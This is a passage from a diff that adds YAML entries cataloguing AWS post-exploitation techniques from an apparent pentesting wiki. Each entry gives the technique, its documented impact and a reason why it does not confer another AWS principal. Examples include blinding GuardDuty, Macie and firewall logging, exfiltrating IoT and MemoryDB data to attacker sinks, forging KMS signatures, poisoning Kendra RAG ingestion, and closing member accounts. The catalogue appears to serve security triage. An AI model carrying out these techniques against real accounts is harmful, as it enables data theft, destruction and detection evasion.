'`inspector2:AssociateMember`, `inspector2:DisassociateMember`' + reason: 'Documented impact: Exclusion of key accounts from security scans, enabling undetected exploitation of + vulnerabilities. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2disable-inspector2enable--iamcreateservicelinkedrole + technique: '`inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)' + reason: 'Documented impact: Creation of blind spots in the security monitoring. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2updateorganizationconfiguration + technique: '`inspector2:UpdateOrganizationConfiguration`' + reason: 'Documented impact: Alter security scan policies and configurations for the organization. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2tagresource-inspector2untagresource + technique: '`inspector2:TagResource`, `inspector2:UntagResource`' + reason: 'Documented impact: Disruption of resource organization, cost allocation, or tag-driven security automation. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-interconnect-post-exploitation/README.md#interconnectgetconnection--steal-a-pending-connections-partner-activation-key + technique: '`interconnect:GetConnection` — steal a pending connection''s partner activation key' + reason: 'Documented impact: Complete or interfere with a pending multicloud/last-mile connection from the victim''s + Direct Connect gateway to the selected remote network. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#iotgetjobdocument--read-plaintext-fleet-job-payloads + technique: '`iot:GetJobDocument` — read plaintext fleet job payloads' + reason: 'Documented impact: Disclosure of fleet commands, internal configuration, device bootstrap material, or + reusable private artifact/firmware URLs embedded directly in job documents. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#take-over-an-existing-tunnel-with-iotrotatetunnelaccesstoken + technique: Take over an existing tunnel with `iot:RotateTunnelAccessToken` + reason: 'Documented impact: Revocation of the legitimate operator''s current bearer token and takeover of the + remaining tunnel lifetime, enabling the same mapped remote-device access as the original source client. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#iotcreatetopicrule--iampassrole--durable-fleet-wide-mqtt-exfiltration + technique: '`iot:CreateTopicRule` + `iam:PassRole` — durable fleet-wide MQTT exfiltration' + reason: 'Documented impact: Continuous, fleet-wide exfiltration of all IoT MQTT traffic (device telemetry, shadow + updates, commands — frequently containing secrets, tokens, and PII) to an attacker sink, server-side and with + no live connection, persisting... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kendra-post-exploitation/README.md#kendracreatedatasource--updatedatasource--iampassrole--poison-or-repoint-ingestion + technique: '`kendra:CreateDataSource` / `UpdateDataSource` (+ `iam:PassRole`) — poison or repoint ingestion' + reason: 'Documented impact: Adds attacker-controlled material to search/RAG results or causes Kendra to ingest + repository content reachable by the connector role. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kendra-post-exploitation/README.md#kendraputprincipalmapping--alter-group-resolution-for-acl-filtered-queries + technique: '`kendra:PutPrincipalMapping` — alter group resolution for ACL-filtered queries' + reason: 'Documented impact: Expands the Kendra search results visible to the mapped identity, exposing answer + excerpts, passages, titles, URIs, and metadata from ACL-restricted indexed content. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-keyspaces-post-exploitation/README.md#read-sensitive-table-rows-with-cassandraselect + technique: Read sensitive table rows with `cassandra:Select` + reason: 'Documented impact: theft of credentials, tokens, customer records, application configuration and any + other material stored in the selected table. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-keyspaces-post-exploitation/README.md#blindly-poison-or-delete-rows-with-cassandramodify + technique: Blindly poison or delete rows with `cassandra:Modify` + reason: 'Documented impact: application compromise through poisoned configuration, account takeover through token/session + manipulation, fraudulent records, integrity loss or destructive deletion without the ability to read the victim + data. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kinesis-video-streams-post-exploitation/README.md#inject-or-replace-camera-evidence-with-putmedia + technique: Inject or replace camera evidence with `PutMedia` + reason: 'Documented impact: forge or contaminate surveillance evidence, trigger downstream Rekognition/analytics + workflows, consume storage, or deny ingestion by conflicting with the real producer. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md#impersonation-via-kmssign + technique: Impersonation via kms:Sign + reason: 'Documented impact: Produce signatures that verify against the organisation''s trusted public key — forge + JWTs, signed documents, code-signing artefacts or any assertion that key vouches for. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md#delete-keys-via-kmsdeleteimportedkeymaterial + technique: Delete Keys via kms:DeleteImportedKeyMaterial + reason: 'Documented impact: Instantly render all data under a BYOK CMK undecryptable — no waiting period at all, + unlike ScheduleKeyDeletion. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationputdatalakesettings--add-a-data-lake-administrator + technique: '`lakeformation:PutDataLakeSettings` — add a data lake administrator' + reason: 'Documented impact: Obtain Regional LF grant authority and weaken the permission model for new resources. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationgrantpermissions--grant-catalog-or-table-access-to-self + technique: '`lakeformation:GrantPermissions` — grant catalog or table access to self' + reason: 'Documented impact: Grant controlled metadata or governed-data access. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationgetdataaccess--abuse-an-authorized-external-engine-session + technique: '`lakeformation:GetDataAccess` — abuse an authorized external-engine session' + reason: 'Documented impact: Read raw objects within the vended prefix through a compromised authorized engine + session. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationupdatelftagexpression--widen-existing-lf-tbac-grants + technique: '`lakeformation:UpdateLFTagExpression` — widen existing LF-TBAC grants' + reason: This widens Lake Formation data grants through a saved tag expression, subject to existing grant and LF + permissions; it does not provide an IAM role session or AWS-account administrator authority. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#glueputresourcepolicy--expose-data-catalog-metadata-cross-account + technique: '`glue:PutResourcePolicy` — expose Data Catalog metadata cross-account' + reason: 'Documented impact: Expose metadata or catalog mutation APIs permitted by the inserted statement, but + not the underlying S3 objects by itself. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdalistfunctions-and-lambdalistversionsbyfunction--read-plaintext-environment-variables + technique: '`lambda:ListFunctions` and `lambda:ListVersionsByFunction` — read plaintext environment variables' + reason: 'Documented impact: Account-wide or per-function disclosure of credentials, tokens, endpoints, and other + secrets stored directly in Lambda environment variables. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdacreatemicrovmauthtoken--reach-lambda-microvm-application-ports + technique: '`lambda:CreateMicrovmAuthToken` — reach Lambda MicroVM application ports' + reason: 'Documented impact: Authenticated access to otherwise protected services on an existing Lambda MicroVM, + potentially disclosing workload data or reaching a privileged debug/admin interface; the concrete impact is + application-dependent. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdagetdurableexecutionhistory--disclose-durable-workflow-data + technique: '`lambda:GetDurableExecutionHistory` — disclose durable workflow data' + reason: 'Documented impact: Disclosure of business inputs, secrets, personal data, intermediate decisions, errors, + callback payloads, and final results retained in a long-running workflow. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaupdatenetworkconnector--change-lambda-microvm-private-network-egress + technique: '`lambda:UpdateNetworkConnector` — change Lambda MicroVM private-network egress' + reason: 'Documented impact: Redirect the private egress path of MicroVM workloads that use the connector into + another subnet/security boundary, enabling access to newly reachable private services, controlled DNS/NAT/proxy + paths, traffic denial, or... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdadelete + technique: '`lambda:Delete*`' + reason: 'Documented impact: Destruction of function code, versions, aliases, layers and event source mappings + — an outage of everything those functions drive, plus loss of the code itself where it is not stored elsewhere. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaputfunctionconcurrency--silently-disable-a-function-without-deleting-it + technique: '`lambda:PutFunctionConcurrency` — silently disable a function without deleting it' + reason: 'Documented impact: Complete, instant and easily-reversible denial of service against any Lambda function + — used against defensive automation, it blinds the account''s response capability while every control-plane + health signal continues to report... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md#aws-lambda--efs-mount-injection-via-updatefunctionconfiguration-data-theft + technique: AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft) + reason: 'Documented impact: Read and exfiltrate shared configuration and secrets stored on in-VPC EFS file systems + that the target function previously could not reach, by mounting an arbitrary EFS Access Point into a function + you can reconfigure and invoke. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md#lambdacreateeventsourcemapping--attach-a-source-to-an-existing-privileged-function + technique: '`lambda:CreateEventSourceMapping` — attach a source to an existing privileged function' + reason: 'Documented impact: Trigger a privileged, unchanged victim function against an attacker-chosen (but role-reachable) + source, causing its fixed sensitive behavior to run on attacker-influenced records without code execution, source + read, or... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md#lambdaupdateeventsourcemapping--redirect-an-existing-mapping + technique: '`lambda:UpdateEventSourceMapping` — redirect an existing mapping' + reason: 'Documented impact: Divert live records from an existing DynamoDB Streams/Kinesis/SQS source into an attacker-controlled + Lambda, obtaining continuous read (and tampering) of the victim''s in-flight data without modifying producers + or the original... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md#aws-lambda--runtime-pinningrollback-abuse-via-putruntimemanagementconfig + technique: AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig + reason: The section documents the resource or service effect of AWS Lambda – Runtime Pinning/Rollback Abuse via + PutRuntimeManagementConfig, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-license-manager-post-exploitation/README.md#license-managercheckoutborrowlicense--checkoutlicense--consume-or-steal-seller-issued-entitlements + technique: '`license-manager:CheckoutBorrowLicense` / `CheckoutLicense` — consume or steal seller-issued entitlements' + reason: 'Documented impact: Unauthorized software use, theft of an offline signed license, exhaustion of finite + license capacity, and denial of legitimate application activation. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-license-manager-post-exploitation/README.md#license-managercreategrant--distribute-license-operations-to-an-external-aws-account + technique: '`license-manager:CreateGrant` — distribute license operations to an external AWS account' + reason: 'Documented impact: Durable cross-account access to valuable seller-issued entitlements and the ability + to consume or redistribute them according to AllowedOperations. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-license-manager-post-exploitation/README.md#license-managerupdatelicenseconfiguration--updatelicensespecificationsforresource--tamper-with-license-enforcement + technique: '`license-manager:UpdateLicenseConfiguration` / `UpdateLicenseSpecificationsForResource` — tamper with + license enforcement' + reason: 'Documented impact: EC2 launch denial, inaccurate license-compliance reporting, untracked software use, + or forced consumption of a targeted license pool. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2createinvitations--acceptinvitation--updateorganizationconfiguration--macie-administrator-takeover + technique: '`macie2:CreateInvitations` / `AcceptInvitation` / `UpdateOrganizationConfiguration` — Macie administrator + takeover' + reason: 'Documented impact: Conditional org-wide visibility into member accounts'' Macie findings and sensitive-data + locations from the approved administrator account. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2getsensitivedataoccurrences--updaterevealconfiguration--retrieve-the-actual-sensitive-values + technique: '`macie2:GetSensitiveDataOccurrences` (+ `UpdateRevealConfiguration`) — retrieve the actual sensitive + values' + reason: 'Documented impact: Direct exfiltration of the sensitive samples (PII, credentials, financial/health data) + referenced by a valid finding. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2putclassificationexportconfiguration--redirect-the-sensitive-data-discovery-map-to-an-attacker-bucket + technique: '`macie2:PutClassificationExportConfiguration` — redirect the sensitive-data discovery map to an attacker + bucket' + reason: 'Documented impact: Continuous exfiltration of the full sensitive-data discovery inventory (locations + of all PII/secrets across scanned S3 buckets) to attacker infrastructure. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2createfindingsfilter-suppress--updatemaciesession--updateclassificationjob--blind-the-detection + technique: '`macie2:CreateFindingsFilter` (SUPPRESS) / `UpdateMacieSession` / `UpdateClassificationJob` — blind + the detection' + reason: 'Documented impact: Detection evasion — suppress or stop sensitive-data/policy findings so malicious S3 + exposure or exfiltration is not reported. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mainframe-modernization-post-exploitation/README.md#m2getsignedbluinsightsurl---obtain-a-blu-insights-portal-session + technique: '`m2:GetSignedBluinsightsUrl` - Obtain a Blu Insights portal session' + reason: This heading concerns reading or exporting data via `m2:GetSignedBluinsightsUrl` - Obtain a Blu Insights + portal session; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mainframe-modernization-post-exploitation/README.md#m2createdatasetexporttask---export-application-data-sets-to-s3 + technique: '`m2:CreateDataSetExportTask` - Export application data sets to S3' + reason: This heading concerns reading or exporting data via `m2:CreateDataSetExportTask` - Export application + data sets to S3; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mainframe-modernization-post-exploitation/README.md#m2createdatasetimporttask---poison-migrated-application-data + technique: '`m2:CreateDataSetImportTask` - Poison migrated application data' + reason: The section documents the resource or service effect of `m2:CreateDataSetImportTask` - Poison migrated + application data, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-prometheus-post-exploitation/README.md#blind-metric-and-alert-poisoning-with-apsremotewrite + technique: Blind metric and alert poisoning with `aps:RemoteWrite` + reason: 'Documented impact: corrupt monitoring evidence, trigger or suppress autoscaling and incident workflows + that consume AMP data, create false alerts, obscure compromise, and increase ingestion/storage/query cost. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacegetbuyerdashboard--mint-an-anonymous-procurement-dashboard-url + technique: '`aws-marketplace:GetBuyerDashboard` — mint an anonymous procurement dashboard URL' + reason: This heading concerns reading or exporting data via `aws-marketplace:GetBuyerDashboard` — mint an anonymous + procurement dashboard URL; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacegetentitlements--enumerate-seller-customers-and-capacity + technique: '`aws-marketplace:GetEntitlements` — enumerate seller customers and capacity' + reason: This heading concerns reading or exporting data via `aws-marketplace:GetEntitlements` — enumerate seller + customers and capacity; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplaceputdeploymentparameter--poison-buyer-quick-launch-secrets + technique: '`aws-marketplace:PutDeploymentParameter` — Poison buyer Quick Launch secrets' + reason: The section documents the resource or service effect of `aws-marketplace:PutDeploymentParameter` — Poison + buyer Quick Launch secrets, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacebatchmeterusage--inflate-or-duplicate-saas-customer-usage + technique: '`aws-marketplace:BatchMeterUsage` — inflate or duplicate SaaS customer usage' + reason: The section documents the resource or service effect of `aws-marketplace:BatchMeterUsage` — inflate or + duplicate SaaS customer usage, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacemeterusage--poison-a-buyer-workloads-hourly-usage-record + technique: '`aws-marketplace:MeterUsage` — poison a buyer workload''s hourly usage record' + reason: The section documents the resource or service effect of `aws-marketplace:MeterUsage` — poison a buyer + workload's hourly usage record, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacestartchangeset--seller-supply-chain-or-procurement-policy-tampering + technique: '`aws-marketplace:StartChangeSet` — seller supply-chain or procurement-policy tampering' + reason: The section documents the resource or service effect of `aws-marketplace:StartChangeSet` — seller supply-chain + or procurement-policy tampering, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-medialive-video-post-exploitation/README.md#read-current-video--medialivedescribethumbnails + technique: Read current video — `medialive:DescribeThumbnails` + reason: This heading concerns reading or exporting data via Read current video — `medialive:DescribeThumbnails`; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-data-access-post-exploitation/README.md#authenticate-directly-with-memorydbconnect + technique: Authenticate directly with `memorydb:Connect` + reason: 'Documented impact: Read, modify or delete every key and invoke every command granted by the targeted + MemoryDB user''s access string, potentially exposing session tokens, credentials, PII and application state. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-data-access-post-exploitation/README.md#export-a-snapshot-to-s3-with-memorydbcopysnapshot + technique: Export a snapshot to S3 with `memorydb:CopySnapshot` + reason: 'Documented impact: Full exfiltration of a MemoryDB cluster''s dataset (all keys/values) to attacker-controlled + S3, with no route to the cluster endpoint and no ACL/AUTH credential. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-post-exploitation/README.md#memorydbupdatecluster---remove-authentication-andor-replace-the-network-perimeter + technique: '`memorydb:UpdateCluster` - remove authentication and/or replace the network perimeter' + reason: 'Documented impact: Full unauthenticated read, modification and deletion of the reachable cluster dataset, + including session tokens, credentials, PII and application state. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-neptune-post-exploitation/README.md#query-a-neptune-database-with-only-neptune-dbreaddataviaquery + technique: Query a Neptune database with only `neptune-db:ReadDataViaQuery` + reason: 'Documented impact: Read graph vertices, edges, and properties accessible to the query, including application + data or secrets stored in the graph. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-neptune-post-exploitation/README.md#recover-the-change-log-with-only-neptune-dbgetstreamrecords + technique: Recover the change log with only `neptune-db:GetStreamRecords` + reason: 'Documented impact: Read retained graph changes, including deleted or modified property values that may + no longer be returned by a current-state query. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-neptune-post-exploitation/README.md#query-a-neptune-analytics-graph-with-only-neptune-graphreaddataviaquery + technique: Query a Neptune Analytics graph with only `neptune-graph:ReadDataViaQuery` + reason: 'Documented impact: Read vertices, edges, and properties from the authorized graph through read-only openCypher + queries. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-firewall-post-exploitation/README.md#network-firewallupdatefirewallpolicy--associatefirewallpolicy--neuter-the-rules + technique: '`network-firewall:UpdateFirewallPolicy` / `AssociateFirewallPolicy` — neuter the rules' + reason: 'Documented impact: All egress/ingress the firewall was blocking (C2 domains, exfil endpoints, lateral + movement) is now permitted, with the control still appearing configured. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-firewall-post-exploitation/README.md#network-firewalldisassociatesubnets--remove-firewall-endpoints + technique: '`network-firewall:DisassociateSubnets` — remove firewall endpoints' + reason: 'Documented impact: Removes inspection endpoints from selected Availability Zones. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-firewall-post-exploitation/README.md#network-firewallupdateloggingconfiguration--stop-flowalert-logging-blind + technique: '`network-firewall:UpdateLoggingConfiguration` — stop flow/alert logging (blind)' + reason: 'Documented impact: The firewall keeps filtering but its stateful inspection telemetry goes dark, or is + redirected, reducing detection and forensic visibility while the attacker operates. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanagerputattachmentroutingpolicylabel---apply-or-remove-route-filters + technique: '`networkmanager:PutAttachmentRoutingPolicyLabel` - Apply or remove route filters' + reason: The section documents the resource or service effect of `networkmanager:PutAttachmentRoutingPolicyLabel` + - Apply or remove route filters, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanagertagresource--untagresource---move-an-attachment-through-tag-based-policy + technique: '`networkmanager:TagResource` / `UntagResource` - Move an attachment through tag-based policy' + reason: The section documents the resource or service effect of `networkmanager:TagResource` / `UntagResource` + - Move an attachment through tag-based policy, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanageracceptattachment--rejectattachment---admit-a-foreign-network-or-deny-a-legitimate-one + technique: '`networkmanager:AcceptAttachment` / `RejectAttachment` - Admit a foreign network or deny a legitimate + one' + reason: The section documents the resource or service effect of `networkmanager:AcceptAttachment` / `RejectAttachment` + - Admit a foreign network or deny a legitimat, without a reusable AWS principal credential or arbitrary execution + under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-manager-post-exploitation/README.md#networkmanagerputcorenetworkpolicy--networkmanagerexecutecorenetworkchangeset---rewrite-global-segmentation-and-routing + technique: '`networkmanager:PutCoreNetworkPolicy` + `networkmanager:ExecuteCoreNetworkChangeSet` - Rewrite global + segmentation and routing' + reason: The section documents the resource or service effect of `networkmanager:PutCoreNetworkPolicy` + `networkmanager:ExecuteCoreNetworkChangeSet` + - Rewrite globa, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-security-manager-post-exploitation/README.md#network-security-managerupdaterule--weaken-centrally-deployed-waf-protections + technique: '`network-security-manager:UpdateRule` — weaken centrally deployed WAF protections' + reason: 'Documented impact: Weaken WAF protection, monitoring or data handling across every in-scope ALB, API + Gateway stage or CloudFront distribution that consumes the rule. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-security-manager-post-exploitation/README.md#network-security-managerdeletedeployment--remove-centralized-enforcement + technique: '`network-security-manager:DeleteDeployment` — remove centralized enforcement' + reason: 'Documented impact: Stop central drift detection/remediation for the covered scope and, when cleanup is + enabled, remove Network Security Manager-created WAF or Shield protections. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-security-manager-post-exploitation/README.md#network-security-managerdeleteadminaccount--disable-one-administrators-multi-account-protections + technique: '`network-security-manager:DeleteAdminAccount` — disable one administrator''s multi-account protections' + reason: 'Documented impact: Disable every multi-account scope and deployment owned by that administrator and initiate + cleanup of its managed protections across the delegated organization scope. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-odb-post-exploitation/README.md#odbcreateautonomousdatabasewallet--export-fresh-database-client-material + technique: '`odb:CreateAutonomousDatabaseWallet` — export fresh database client material' + reason: 'Documented impact: Recover fresh TLS client keys/certificates and database connection configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-opensearch-cross-account-post-exploitation/README.md#escreateoutboundconnection-esauthorizevpcendpointaccess--cross-account-data-plane-reach + technique: '`es:CreateOutboundConnection`, `es:AuthorizeVpcEndpointAccess` — cross-account data-plane reach' + reason: 'Documented impact: Extends the OpenSearch domain''s reachability to an attacker-controlled account — + a VPC-endpoint network path into the domain''s VPC, or a cross-cluster connection over which indices can be + searched/replicated — complementing... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md#organizationsdisableawsserviceaccess--deregisterdelegatedadministrator--blind-the-whole-orgs-security-stack-in-one-call + technique: '`organizations:DisableAWSServiceAccess` / `DeregisterDelegatedAdministrator` — blind the whole org''s + security stack in one call' + reason: 'Documented impact: Organization-wide loss of detection, posture or response management — GuardDuty, Security + Hub, Config, IAM Access Analyzer, CloudTrail or Security IR stop operating at org scope across member accounts. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md#organizationscloseaccount--destroy-member-accounts-from-the-management-account + technique: '`organizations:CloseAccount` — destroy member accounts from the management account' + reason: 'Documented impact: Irreversible destruction of entire member accounts and everything in them — the most + complete ransomware/wiper primitive available in AWS, since it removes the account rather than individual resources. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-partner-central-account-post-exploitation/README.md#recover-a-partner-verification-workflow--partnercentralgetverification + technique: Recover a Partner verification workflow — `partnercentral:GetVerification` + reason: 'Documented impact: disclose business registration identifiers, verification failures/state, and a live + verification-completion link. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pcs-post-exploitation/README.md#pcsgetcluster-secretsmanagergetsecretvalue--forge-slurm-rest-jwts + technique: '`pcs:GetCluster`, `secretsmanager:GetSecretValue` — Forge Slurm REST JWTs' + reason: This heading concerns reading or exporting data via `pcs:GetCluster`, `secretsmanager:GetSecretValue` + — Forge Slurm REST JWTs; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: 